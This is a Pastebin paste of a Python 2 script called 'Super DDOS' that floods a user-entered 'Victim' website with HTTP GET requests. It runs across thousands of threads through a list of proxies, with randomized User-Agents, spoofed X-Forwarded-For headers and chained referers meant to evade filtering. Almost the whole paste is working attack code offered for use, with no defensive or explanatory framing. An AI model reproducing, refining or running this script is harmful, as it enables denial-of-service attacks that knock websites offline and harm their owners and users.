Advertisement
TP2K1

Super DDOS By JokerLjnk [Python]

Jun 25th, 2015
1,894
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.07 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > Attack < ::.. Code By JokerLjnk
  4. import random
  5. import socket
  6. import threading
  7. import time
  8. import datetime
  9. import urllib2
  10. import urllib
  11. import re
  12. import sys
  13. import optparse
  14. import os
  15. import urlparse
  16. #GET USER-AGENT
  17. def getUserAgent():
  18. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  19. if platform == 'Macintosh':
  20. os = random.choice(['68K', 'PPC'])
  21. elif platform == 'Windows':
  22. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  23. elif platform == 'X11':
  24. os = random.choice(['Linux i686', 'Linux x86_64'])
  25. browser = random.choice(['chrome', 'firefox', 'ie'])
  26. if browser == 'chrome':
  27. webkit = str(random.randint(500, 599))
  28. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  29. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  30. elif browser == 'firefox':
  31. currentYear = datetime.date.today().year
  32. year = str(random.randint(2000, currentYear))
  33. month = random.randint(1, 12)
  34. if month < 10:
  35. month = '0' + str(month)
  36. else:
  37. month = str(month)
  38. day = random.randint(1, 30)
  39. if day < 10:
  40. day = '0' + str(day)
  41. else:
  42. day = str(day)
  43. gecko = year + month + day
  44. version = str(random.randint(1, 21)) + '.0'
  45. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  46. elif browser == 'ie':
  47. version = str(random.randint(1, 10)) + '.0'
  48. engine = str(random.randint(1, 5)) + '.0'
  49. option = random.choice([True, False])
  50. if option == True:
  51. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  52. else:
  53. token = ''
  54. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  55.  
  56. reFerers = [
  57. "https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=",
  58. "http://www.google.com/?q=",
  59. "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
  60. "https://drive.google.com/viewerng/viewer?url=",
  61. "http://www.google.com/translate?u=",
  62. "https://developers.google.com/speed/pagespeed/insights/?url=",
  63. "http://help.baidu.com/searchResult?keywords=",
  64. "http://www.bing.com/search?q=",
  65. "https://add.my.yahoo.com/rss?url=",
  66. "https://twitter.com/search?q=",
  67. "https://play.google.com/store/search?q="]
  68.  
  69. def randomReFerer():
  70. return random.choice(reFerers)
  71.  
  72. def buildblock(size):
  73. out_str = ''
  74. for i in range(0, size):
  75. a = random.randint(65, 90)
  76. out_str += chr(a)
  77. return(out_str)
  78.  
  79. def randomIp():
  80. random.seed()
  81. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  82. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  83. return result
  84.  
  85. def randomIpList():
  86. random.seed()
  87. res = ""
  88. for ip in xrange(random.randint(2, 8)):
  89. res = res + randomIp() + ", "
  90. return res[0:len(res) - 2]
  91.  
  92. class attacco(threading.Thread):
  93. def run(self):
  94. current = x
  95. if current < len(listaproxy):
  96. proxy = listaproxy[current].split(':')
  97. else:
  98. proxy = random.choice(listaproxy).split(':')
  99. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  100. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  101. referer = "Referer: "+ randomReFerer() + randomReFerer() + randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + buildblock(random.randint(7, 14)) + "\r\n"
  102. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  103. while nload:
  104. time.sleep(1)
  105. while 1:
  106. try:
  107. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  108. a.connect((proxy[0], int(proxy[1])))
  109. a.send(httprequest)
  110. try:
  111. for i in xrange(3):
  112. a.send(httprequest)
  113. except:
  114. tts = 1
  115. except:
  116. proxy = random.choice(listaproxy).split(':')
  117.  
  118. #Main
  119. print '\n\t..:: > Code By JokerLjnk < ::..'
  120. print '\t ==> #~~ Super DDOS ~~# <== '
  121. # Site
  122. url = raw_input("Victim: ")
  123. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  124. #Proxy
  125. in_file = open(raw_input("File proxy: "),"r")
  126. proxyf = in_file.read()
  127. in_file.close()
  128. listaproxy = proxyf.split('\n')
  129. #So luong
  130. thread = int(input("So luong (3000): "))
  131. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  132. accept = "Accept-Encoding: gzip, deflate\r\n"
  133. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  134. nload = 1
  135. x = 0
  136. print '\tLoading..............................'
  137. for x in xrange(int(thread + 1)):
  138. attacco().start()
  139. time.sleep(0.003)
  140. print "Attacking ==========================>>"
  141. nload = 0
  142. while not nload:
  143. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement